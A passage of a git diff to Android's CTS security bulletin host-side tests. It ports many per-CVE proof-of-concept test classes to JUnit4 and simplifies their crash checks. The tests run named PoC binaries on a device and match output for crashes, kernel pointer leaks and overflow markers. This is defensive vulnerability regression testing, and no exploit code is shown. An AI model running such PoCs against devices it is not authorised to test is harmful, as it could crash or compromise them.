     @SecurityTest(minPatchLevel = "2016-11")
     public void testPocCVE_2016_6734() throws Exception {
         if(containsDriver(getDevice(), "/dev/dri/renderD129")) {
@@ -85,6 +96,7 @@
     /**
      *  b/30907701
      */
+    @Test
     @SecurityTest(minPatchLevel = "2016-11")
     public void testPocCVE_2016_6735() throws Exception {
         if(containsDriver(getDevice(), "/dev/dri/renderD129")) {
@@ -95,6 +107,7 @@
     /**
      *  b/30953284
      */
+    @Test
     @SecurityTest(minPatchLevel = "2016-11")
     public void testPocCVE_2016_6736() throws Exception {
         if(containsDriver(getDevice(), "/dev/dri/renderD129")) {
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_12.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc16_12.java
index 65a6931..4e2031b 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_12.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc16_12.java
@@ -1,5 +1,5 @@
 /**
- * Copyright (C) 2016 The Android Open Source Project
+ * Copyright (C) 2020 The Android Open Source Project
  *
  * Licensed under the Apache License, Version 2.0 (the "License");
  * you may not use this file except in compliance with the License.
@@ -17,14 +17,20 @@
 package android.security.cts;
 
 import android.platform.test.annotations.SecurityTest;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 
-@SecurityTest
+import static org.junit.Assert.*;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
 public class Poc16_12 extends SecurityTestCase {
 
     //Criticals
     /**
      *  b/31796940
      */
+    @Test
     @SecurityTest(minPatchLevel = "2016-12")
     public void testPocCVE_2016_8406() throws Exception {
         assertNotKernelPointer(() -> {
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_01.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_01.java
index 107ac45..a7ae370 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_01.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_01.java
@@ -1,5 +1,5 @@
 /**
- * Copyright (C) 2016 The Android Open Source Project
+ * Copyright (C) 2020 The Android Open Source Project
  *
  * Licensed under the Apache License, Version 2.0 (the "License");
  * you may not use this file except in compliance with the License.
@@ -17,14 +17,20 @@
 package android.security.cts;
 
 import android.platform.test.annotations.SecurityTest;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 
-@SecurityTest
+import static org.junit.Assert.*;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
 public class Poc17_01 extends SecurityTestCase {
 
     //Criticals
     /**
      *  b/31797770
      */
+    @Test
     @SecurityTest(minPatchLevel = "2017-01")
     public void testPocCVE_2016_8425() throws Exception {
         if(containsDriver(getDevice(), "/dev/nvhost-vic")) {
@@ -35,6 +41,7 @@
     /**
      *  b/31799206
      */
+    @Test
     @SecurityTest(minPatchLevel = "2017-01")
     public void testPocCVE_2016_8426() throws Exception {
         if(containsDriver(getDevice(), "/dev/nvhost-gpu")) {
@@ -45,6 +52,7 @@
     /**
      *  b/31799885
      */
+    @Test
     @SecurityTest(minPatchLevel = "2017-01")
     public void testPocCVE_2016_8427() throws Exception {
         if(containsDriver(getDevice(), "/dev/nvhost-gpu") ||
@@ -56,6 +64,7 @@
     /**
      *  b/31993456
      */
+    @Test
     @SecurityTest(minPatchLevel = "2017-01")
     public void testPocCVE_2016_8428() throws Exception {
         if(containsDriver(getDevice(), "/dev/nvmap")) {
@@ -66,6 +75,7 @@
     /**
      *  b/32160775
      */
+    @Test
     @SecurityTest(minPatchLevel = "2017-01")
     public void testPocCVE_2016_8429() throws Exception {
         if(containsDriver(getDevice(), "/dev/nvmap")) {
@@ -76,6 +86,7 @@
     /**
      *  b/32225180
      */
+    @Test
     @SecurityTest(minPatchLevel = "2017-01")
     public void testPocCVE_2016_8430() throws Exception {
         if(containsDriver(getDevice(), "/dev/nvhost-vic")) {
@@ -86,6 +97,7 @@
    /**
      *  b/32402179
      */
+    @Test
     @SecurityTest(minPatchLevel = "2017-01")
     public void testPocCVE_2016_8431() throws Exception {
         if(containsDriver(getDevice(), "/dev/dri/renderD129")) {
@@ -96,6 +108,7 @@
     /**
      *  b/32447738
      */
+    @Test
     @SecurityTest(minPatchLevel = "2017-01")
     public void testPocCVE_2016_8432() throws Exception {
         if(containsDriver(getDevice(), "/dev/dri/renderD129")) {
@@ -106,6 +119,7 @@
     /**
      *  b/32125137
      */
+    @Test
     @SecurityTest(minPatchLevel = "2017-01")
     public void testPocCVE_2016_8434() throws Exception {
         if(containsDriver(getDevice(), "/dev/kgsl-3d0")) {
@@ -117,6 +131,7 @@
     /**
      *  b/31668540
      */
+    @Test
     @SecurityTest(minPatchLevel = "2017-01")
     public void testPocCVE_2016_8460() throws Exception {
         if(containsDriver(getDevice(), "/dev/nvmap")) {
@@ -128,6 +143,7 @@
     /**
      *  b/32255299
      */
+    @Test
     @SecurityTest(minPatchLevel = "2017-01")
     public void testPocCVE_2017_0386() throws Exception {
         AdbUtils.runPocAssertExitStatusNotVulnerable("CVE-2017-0386", getDevice(), 60);
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_02.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_02.java
index e2e5134..3f94a62 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_02.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_02.java
@@ -1,5 +1,5 @@
 /**
- * Copyright (C) 2018 The Android Open Source Project
+ * Copyright (C) 2020 The Android Open Source Project
  *
  * Licensed under the Apache License, Version 2.0 (the "License");
  * you may not use this file except in compliance with the License.
@@ -17,34 +17,39 @@
 package android.security.cts;
 
 import android.platform.test.annotations.SecurityTest;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 
+import static org.junit.Assert.*;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
 public class Poc17_02 extends SecurityTestCase {
-  /**
-   *  b/32799236
-   */
-  @SecurityTest(minPatchLevel = "2017-02")
-  public void testPocCVE_2017_0426() throws Exception {
-      AdbUtils.runCommandLine("logcat -c", getDevice());
-      AdbUtils.runPoc("CVE-2017-0426", getDevice(), 60);
-      String logcatOut = AdbUtils.runCommandLine("logcat -d", getDevice());
-      assertNotMatchesMultiLine("Bugreports file in wrong path", logcatOut);
-  }
+    /**
+     *  b/32799236
+     */
+    @Test
+    @SecurityTest(minPatchLevel = "2017-02")
+    public void testPocCVE_2017_0426() throws Exception {
+        AdbUtils.runCommandLine("logcat -c", getDevice());
+        AdbUtils.runPoc("CVE-2017-0426", getDevice(), 60);
+        String logcatOut = AdbUtils.runCommandLine("logcat -d", getDevice());
+        assertNotMatchesMultiLine("Bugreports file in wrong path", logcatOut);
+    }
 
-   /**
-   *  b/32706020
-   */
-  @SecurityTest(minPatchLevel = "2017-02")
-  public void testPocCVE_2017_0415() throws Exception {
-      AdbUtils.runCommandLine("logcat -c", getDevice());
-      AdbUtils.runPoc("CVE-2017-0415", getDevice(), 60);
-      String logcatOut = AdbUtils.runCommandLine("logcat -d", getDevice());
-      assertNotMatchesMultiLine("Fatal signal[\\s\\S]*>>> /system/bin/mediaserver <<<",
-          logcatOut);
-  }
+    /**
+     *  b/32706020
+     */
+    @Test
+    @SecurityTest(minPatchLevel = "2017-02")
+    public void testPocCVE_2017_0415() throws Exception {
+        AdbUtils.runPocAssertNoCrashes("CVE-2017-0415", getDevice(), "mediaserver");
+    }
 
     /**
      *  b/31799863
      */
+    @Test
     @SecurityTest(minPatchLevel = "2017-02")
     public void testPocCVE_2016_8482() throws Exception {
         if(containsDriver(getDevice(), "/dev/nvmap")) {
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_03.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_03.java
index 5057ebe..3dacc96 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_03.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_03.java
@@ -1,5 +1,5 @@
 /**
- * Copyright (C) 2017 The Android Open Source Project
+ * Copyright (C) 2020 The Android Open Source Project
  *
  * Licensed under the Apache License, Version 2.0 (the "License");
  * you may not use this file except in compliance with the License.
@@ -16,17 +16,26 @@
 
 package android.security.cts;
 
-import android.platform.test.annotations.SecurityTest;
+import java.util.concurrent.Callable;
 
+import android.platform.test.annotations.SecurityTest;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import static org.junit.Assert.*;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
 public class Poc17_03 extends SecurityTestCase {
 
     /**
      *  b/31824853
      */
+    @Test
     @SecurityTest(minPatchLevel = "2017-03")
     public void testPocCVE_2016_8479() throws Exception {
         if (containsDriver(getDevice(), "/dev/kgsl-3d0")) {
-             AdbUtils.runPocNoOutput("CVE-2016-8479", getDevice(), 180);
+             AdbUtils.runPocNoOutput("CVE-2016-8479", getDevice(), TIMEOUT_NONDETERMINISTIC);
             // CTS begins the next test before device finishes rebooting,
             // sleep to allow time for device to reboot.
             Thread.sleep(70000);
@@ -36,6 +45,7 @@
     /**
      *  b/33940449
      */
+    @Test
     @SecurityTest(minPatchLevel = "2017-03")
     public void testPocCVE_2017_0508() throws Exception {
         if (containsDriver(getDevice(), "/dev/ion") &&
@@ -50,6 +60,7 @@
     /**
      *  b/33899363
      */
+    @Test
     @SecurityTest(minPatchLevel = "2017-03")
     public void testPocCVE_2017_0333() throws Exception {
         if (containsDriver(getDevice(), "/dev/dri/renderD128")) {
@@ -62,30 +73,46 @@
     /**
      *  b/33245849
      */
+    @Test
     @SecurityTest(minPatchLevel = "2017-03")
     public void testPocCVE_2017_0334() throws Exception {
         if (containsDriver(getDevice(), "/dev/dri/renderD129")) {
-           String out = AdbUtils.runPoc("CVE-2017-0334", getDevice());
-           assertNotMatchesMultiLine("Leaked ptr is (0x[fF]{6}[cC]0[a-fA-F0-9]{8}"
-               +"|0x[c-fC-F][a-fA-F0-9]{7})",out);
+            String out = AdbUtils.runPoc("CVE-2017-0334", getDevice());
+            // info leak sample
+            // "leaked ptr is 0xffffffc038ed1980"
+            String[] lines = out.split("\n");
+            String pattern = "Leaked ptr is 0x";
+            assertNotKernelPointer(new Callable<String>() {
+                int index = 0;
+                @Override
+                public String call() {
+                    for (; index < lines.length; index++) {
+                        String line = lines[index];
+                        int index = line.indexOf(pattern);
+                        if (index == -1) {
+                            continue;
+                        }
+                        return line.substring(index + pattern.length());
+                    }
+                    return null;
+                }
+            }, null);
         }
     }
 
     /**
      * b/32707507
      */
+    @Test
     @SecurityTest(minPatchLevel = "2017-03")
     public void testPocCVE_2017_0479() throws Exception {
-        AdbUtils.runCommandLine("logcat -c" , getDevice());
-        AdbUtils.runPocNoOutput("CVE-2017-0479", getDevice(), 60);
-        String logcatOut = AdbUtils.runCommandLine("logcat -d", getDevice());
-        assertNotMatchesMultiLine("Fatal signal 11 \\(SIGSEGV\\).*>>> /system/bin/" +
-                         "audioserver <<<", logcatOut);
+        AdbUtils.runPocAssertNoCrashes("CVE-2017-0479", getDevice(), "audioserver");
     }
 
     /*
      *  b/33178389
      */
+    @Test
     @SecurityTest(minPatchLevel = "2017-03")
     public void testPocCVE_2017_0490() throws Exception {
         String bootCountBefore =
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_04.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_04.java
index 248e257..f5c8fe3 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_04.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_04.java
@@ -1,5 +1,5 @@
 /**
- * Copyright (C) 2016 The Android Open Source Project
+ * Copyright (C) 2020 The Android Open Source Project
  *
  * Licensed under the Apache License, Version 2.0 (the "License");
  * you may not use this file except in compliance with the License.
@@ -17,42 +17,51 @@
 package android.security.cts;
 
 import android.platform.test.annotations.SecurityTest;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 
-@SecurityTest
+import static org.junit.Assert.*;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
 public class Poc17_04 extends SecurityTestCase {
 
-  /**
-   * b/32342065
-   */
-  @SecurityTest(minPatchLevel = "2017-04")
-  public void testPocCVE_2017_0553() throws Exception {
-    // Error code of 139 represents segmentation fault
-    getDevice().executeShellCommand("chmod +x /data/local/tmp/CVE-2017-0553");
-    assertFalse("Segfault found",
-        AdbUtils.runCommandGetExitCode("/data/local/tmp/CVE-2017-0553", getDevice())==139);
-  }
+    /**
+     * b/32342065
+     */
+    @Test
+    @SecurityTest(minPatchLevel = "2017-04")
+    public void testPocCVE_2017_0553() throws Exception {
+      // Error code of 139 represents segmentation fault
+      getDevice().executeShellCommand("chmod +x /data/local/tmp/CVE-2017-0553");
+      assertFalse("Segfault found",
+          AdbUtils.runCommandGetExitCode("/data/local/tmp/CVE-2017-0553", getDevice())==139);
+    }
 
-  /**
-   * b/72460737
-   */
-  @SecurityTest(minPatchLevel = "2017-04")
-  public void testPocCVE_2014_3145() throws Exception {
-    assertFalse("VULNERABLE DEVICE DETECTED",
-                AdbUtils.runPocCheckExitCode("CVE-2014-3145", getDevice(), 60));
-  }
+    /**
+     * b/72460737
+     */
+    @Test
+    @SecurityTest(minPatchLevel = "2017-04")
+    public void testPocCVE_2014_3145() throws Exception {
+      assertFalse("VULNERABLE DEVICE DETECTED",
+                  AdbUtils.runPocCheckExitCode("CVE-2014-3145", getDevice(), 60));
+    }
 
-  /**
-   * b/32813456
-   */
-  @SecurityTest(minPatchLevel = "2017-04")
-  public void testPocCVE_2016_10229() throws Exception {
-    String out = AdbUtils.runPoc("CVE-2016-10229", getDevice());
-    assertNotMatchesMultiLine("OVERWRITE", out);
-  }
+    /**
+     * b/32813456
+     */
+    @Test
+    @SecurityTest(minPatchLevel = "2017-04")
+    public void testPocCVE_2016_10229() throws Exception {
+      String out = AdbUtils.runPoc("CVE-2016-10229", getDevice());
+      assertNotMatchesMultiLine("OVERWRITE", out);
+    }
 
     /**
      * b/33621647
      */
+    @Test
     @SecurityTest(minPatchLevel = "2017-04")
     public void testPocCVE_2017_0477() throws Exception {
         AdbUtils.pushResource("/CVE-2017-0477.gif", "/data/local/tmp/CVE-2017-0477.gif",
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_05.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_05.java
index 7db0580..1ec6d89 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_05.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_05.java
@@ -1,5 +1,5 @@
 /**
- * Copyright (C) 2018 The Android Open Source Project
+ * Copyright (C) 2020 The Android Open Source Project
  *
  * Licensed under the Apache License, Version 2.0 (the "License");
  * you may not use this file except in compliance with the License.
@@ -16,16 +16,23 @@
 
 package android.security.cts;
 
-import android.platform.test.annotations.SecurityTest;
 import java.util.Arrays;
 import java.util.concurrent.Callable;
 
-@SecurityTest
+import android.platform.test.annotations.SecurityTest;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import static org.junit.Assert.*;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
 public class Poc17_05 extends SecurityTestCase {
 
     /**
      *  b/34277115
      */
+    @Test
     @SecurityTest(minPatchLevel = "2017-05")
     public void testPocCVE_2017_0630() throws Exception {
         if (containsDriver(getDevice(), "/sys/kernel/debug/tracing/printk_formats")) {
@@ -50,4 +57,26 @@
             }, null);
         }
     }
+
+    /*
+     * CVE-2016-5862
+     */
+    @Test
+    @SecurityTest(minPatchLevel = "2017-05")
+    public void testPocCVE_2016_5862() throws Exception {
+        if (containsDriver(getDevice(), "/dev/snd/controlC0")) {
+            AdbUtils.runPocNoOutput("CVE-2016-5862",getDevice(), 60);
+        }
+    }
+
+    /**
+     * CVE-2016-5867
+     */
+    @Test
+    @SecurityTest(minPatchLevel = "2017-05")
+    public void testPocCVE_2016_5867() throws Exception {
+        if (containsDriver(getDevice(), "/dev/snd/controlC0")) {
+            AdbUtils.runPocAssertExitStatusNotVulnerable("CVE-2016-5867", getDevice(), 60);
+        }
+    }
 }
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_06.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_06.java
index c2c3e29..1f7e5e9 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_06.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_06.java
@@ -1,5 +1,5 @@
 /**
- * Copyright (C) 2018 The Android Open Source Project
+ * Copyright (C) 2020 The Android Open Source Project
  *
  * Licensed under the Apache License, Version 2.0 (the "License");
  * you may not use this file except in compliance with the License.
@@ -17,14 +17,19 @@
 package android.security.cts;
 
 import android.platform.test.annotations.SecurityTest;
-import java.util.concurrent.TimeUnit;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 
-@SecurityTest
+import static org.junit.Assert.*;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
 public class Poc17_06 extends SecurityTestCase {
 
     /**
      * b/36392138
      */
+    @Test
     @SecurityTest(minPatchLevel = "2017-06")
     public void testPocCVE_2017_0647() throws Exception {
         AdbUtils.pushResource("/CVE-2017-0647.zip", "/data/local/tmp/CVE-2017-0647.zip",
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_07.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_07.java
index 29b7a39..d3a086a 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_07.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_07.java
@@ -1,5 +1,5 @@
 /**
- * Copyright (C) 2017 The Android Open Source Project
+ * Copyright (C) 2020 The Android Open Source Project
  *
  * Licensed under the Apache License, Version 2.0 (the "License");
  * you may not use this file except in compliance with the License.
@@ -17,13 +17,19 @@
 package android.security.cts;
 
 import android.platform.test.annotations.SecurityTest;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 
-@SecurityTest
+import static org.junit.Assert.*;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
 public class Poc17_07 extends SecurityTestCase {
 
     /**
      * b/35443725
      **/
+    @Test
     @SecurityTest(minPatchLevel = "2017-07")
     public void testPocCVE_2016_2109() throws Exception {
       assertFalse("Overallocation detected!",
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_09.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_09.java
index 1659397..de7381e 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_09.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_09.java
@@ -1,5 +1,5 @@
 /**
- * Copyright (C) 2016 The Android Open Source Project
+ * Copyright (C) 2020 The Android Open Source Project
  *
  * Licensed under the Apache License, Version 2.0 (the "License");
  * you may not use this file except in compliance with the License.
@@ -17,13 +17,19 @@
 package android.security.cts;
 
 import android.platform.test.annotations.SecurityTest;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 
-@SecurityTest
+import static org.junit.Assert.*;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
 public class Poc17_09 extends SecurityTestCase {
 
     /**
      * b/63852675
      */
+    @Test
     @SecurityTest(minPatchLevel = "2017-09")
     public void testPocCve_2017_6983() throws Exception {
       // Error code of 139 represents segmentation fault
@@ -53,14 +59,15 @@
                                       )==139);
     }
 
-  /**
-   * b/38195738
-   * b/36590192
-   */
-  @SecurityTest(minPatchLevel = "2017-09")
-  public void testPocBug_38195738() throws Exception {
-    if(containsDriver(getDevice(), "/dev/kgsl-3d0")) {
-      AdbUtils.runPocNoOutput("Bug-38195738", getDevice(), 60);
+    /**
+     * b/38195738
+     * b/36590192
+     */
+    @Test
+    @SecurityTest(minPatchLevel = "2017-09")
+    public void testPocBug_38195738() throws Exception {
+        if(containsDriver(getDevice(), "/dev/kgsl-3d0")) {
+            AdbUtils.runPocNoOutput("Bug-38195738", getDevice(), 60);
+        }
     }
-  }
 }
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_11.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_11.java
index e1c4977..e592d0f 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_11.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_11.java
@@ -1,5 +1,5 @@
 /**
- * Copyright (C) 2017 The Android Open Source Project
+ * Copyright (C) 2020 The Android Open Source Project
  *
  * Licensed under the Apache License, Version 2.0 (the "License");
  * you may not use this file except in compliance with the License.
@@ -17,13 +17,19 @@
 package android.security.cts;
 
 import android.platform.test.annotations.SecurityTest;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 
-@SecurityTest
+import static org.junit.Assert.*;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
 public class Poc17_11 extends SecurityTestCase {
 
     /**
      * b/36075131
      */
+    @Test
     @SecurityTest(minPatchLevel = "2017-11")
     public void testPocCVE_2017_0859() throws Exception {
         AdbUtils.runCommandLine("logcat -c", getDevice());
@@ -33,9 +39,6 @@
                                     " -t audio/amr", getDevice());
         // Wait for intent to be processed before checking logcat
         Thread.sleep(5000);
-        String logcat =  AdbUtils.runCommandLine("logcat -d", getDevice());
-        assertNotMatchesMultiLine("Fatal signal 11 \\(SIGSEGV\\)" +
-                         "[\\s\\n\\S]*>>> /system/bin/" +
-                         "mediaserver <<<", logcat);
+        AdbUtils.assertNoCrashes(getDevice(), "mediaserver");
     }
 }
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_12.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_12.java
index 67becec..71607c8 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_12.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_12.java
@@ -1,5 +1,5 @@
 /**
- * Copyright (C) 2018 The Android Open Source Project
+ * Copyright (C) 2020 The Android Open Source Project
  *
  * Licensed under the Apache License, Version 2.0 (the "License");
  * you may not use this file except in compliance with the License.
@@ -17,17 +17,23 @@
 package android.security.cts;
 
 import android.platform.test.annotations.SecurityTest;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 
-@SecurityTest
+import static org.junit.Assert.*;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
 public class Poc17_12 extends SecurityTestCase {
 
-  /**
-   * b/38045794
-   */
-  @SecurityTest(minPatchLevel = "2017-12")
-  public void testPocCVE_2017_6262() throws Exception {
-    if(containsDriver(getDevice(),"/dev/dri/renderD128")) {
-      AdbUtils.runPocNoOutput("CVE-2017-6262", getDevice(), 300);
+    /**
+     * b/38045794
+     */
+    @Test
+    @SecurityTest(minPatchLevel = "2017-12")
+    public void testPocCVE_2017_6262() throws Exception {
+        if(containsDriver(getDevice(),"/dev/dri/renderD128")) {
+            AdbUtils.runPocNoOutput("CVE-2017-6262", getDevice(), TIMEOUT_NONDETERMINISTIC);
+        }
     }
-  }
 }
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc18_02.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc18_02.java
index c9f48f9..377e219 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc18_02.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc18_02.java
@@ -1,5 +1,5 @@
 /**
- * Copyright (C) 2016 The Android Open Source Project
+ * Copyright (C) 2020 The Android Open Source Project
  *
  * Licensed under the Apache License, Version 2.0 (the "License");
  * you may not use this file except in compliance with the License.
@@ -17,26 +17,33 @@
 package android.security.cts;
 
 import android.platform.test.annotations.SecurityTest;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 
-@SecurityTest
+import static org.junit.Assert.*;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
 public class Poc18_02 extends SecurityTestCase {
 
     /**
      * b/68953950
      */
-     @SecurityTest(minPatchLevel = "2018-02")
-     public void testPocCVE_2017_13232() throws Exception {
-       AdbUtils.runCommandLine("logcat -c" , getDevice());
-       AdbUtils.runPocNoOutput("CVE-2017-13232", getDevice(), 60);
-       String logcatOutput = AdbUtils.runCommandLine("logcat -d", getDevice());
-       assertNotMatchesMultiLine("APM_AudioPolicyManager: getOutputForAttr\\(\\) " +
-                                 "invalid attributes: usage=.{1,15} content=.{1,15} " +
-                                 "flags=.{1,15} tags=\\[A{256,}\\]", logcatOutput);
-     }
+    @Test
+    @SecurityTest(minPatchLevel = "2018-02")
+    public void testPocCVE_2017_13232() throws Exception {
+        AdbUtils.runCommandLine("logcat -c" , getDevice());
+        AdbUtils.runPocNoOutput("CVE-2017-13232", getDevice(), 60);
+        String logcatOutput = AdbUtils.runCommandLine("logcat -d", getDevice());
+        assertNotMatchesMultiLine("APM_AudioPolicyManager: getOutputForAttr\\(\\) " +
+                                  "invalid attributes: usage=.{1,15} content=.{1,15} " +
+                                  "flags=.{1,15} tags=\\[A{256,}\\]", logcatOutput);
+    }
 
     /**
      *  b/65853158
      */
+    @Test
     @SecurityTest(minPatchLevel = "2018-02")
     public void testPocCVE_2017_13273() throws Exception {
         AdbUtils.runCommandLine("dmesg -c" ,getDevice());
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc18_03.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc18_03.java
index 4bf7b80..c8f9c65 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc18_03.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc18_03.java
@@ -1,5 +1,5 @@
 /**
- * Copyright (C) 2017 The Android Open Source Project
+ * Copyright (C) 2020 The Android Open Source Project
  *
  * Licensed under the Apache License, Version 2.0 (the "License");
  * you may not use this file except in compliance with the License.
@@ -17,15 +17,22 @@
 package android.security.cts;
 
 import android.platform.test.annotations.SecurityTest;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 
+import static org.junit.Assert.*;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
 public class Poc18_03 extends SecurityTestCase {
 
-  /**
-   *  b/71389378
-   */
-  @SecurityTest(minPatchLevel = "2018-03")
-  public void testPocCVE_2017_13253() throws Exception {
-    String output = AdbUtils.runPoc("CVE-2017-13253", getDevice());
-    assertNotMatchesMultiLine("OVERFLOW DETECTED",output);
-  }
+    /**
+     *  b/71389378
+     */
+    @Test
+    @SecurityTest(minPatchLevel = "2018-03")
+    public void testPocCVE_2017_13253() throws Exception {
+        String output = AdbUtils.runPoc("CVE-2017-13253", getDevice());
+        assertNotMatchesMultiLine("OVERFLOW DETECTED",output);
+    }
 }
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc18_04.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc18_04.java
index 99a4692..44b0d89 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc18_04.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc18_04.java
@@ -1,5 +1,5 @@
 /**
- * Copyright (C) 2018 The Android Open Source Project
+ * Copyright (C) 2020 The Android Open Source Project
  *
  * Licensed under the Apache License, Version 2.0 (the "License");
  * you may not use this file except in compliance with the License.
@@ -17,14 +17,20 @@
 package android.security.cts;
 
 import android.platform.test.annotations.SecurityTest;
+import org.junit.Test;
 import org.junit.runner.RunWith;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 
+import static org.junit.Assert.*;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
 public class Poc18_04 extends SecurityTestCase {
     /**
      * b/69683251
      * Does not require root but must be a hostside test to avoid
      * a race condition
      */
+    @Test
     @SecurityTest(minPatchLevel = "2018-04")
     public void testPocCVE_2017_13286() throws Exception {
         getOomCatcher().setHighMemoryTest();
@@ -35,6 +41,7 @@
      * b/69634768
      * Does not require root but must be a hostside test to avoid a race condition
      */
+    @Test
     @SecurityTest(minPatchLevel = "2018-04")
     public void testPocCVE_2017_13288() throws Exception {
         getOomCatcher().setHighMemoryTest();
@@ -45,6 +52,7 @@
      * b/70398564
      * Does not require root but must be a hostside test to avoid a race condition
      */
+    @Test
     @SecurityTest(minPatchLevel = "2018-04")
     public void testPocCVE_2017_13289() throws Exception {
         getOomCatcher().setHighMemoryTest();
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc18_05.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc18_05.java
index 69a4ed5..6b51f0a 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc18_05.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc18_05.java
@@ -1,5 +1,5 @@
 /**
- * Copyright (C) 2018 The Android Open Source Project
+ * Copyright (C) 2020 The Android Open Source Project
  *
  * Licensed under the Apache License, Version 2.0 (the "License");
  * you may not use this file except in compliance with the License.
@@ -17,14 +17,20 @@
 package android.security.cts;
 
 import android.platform.test.annotations.SecurityTest;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 
-@SecurityTest
+import static org.junit.Assert.*;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
 public class Poc18_05 extends SecurityTestCase {
     /**
      * b/70721937
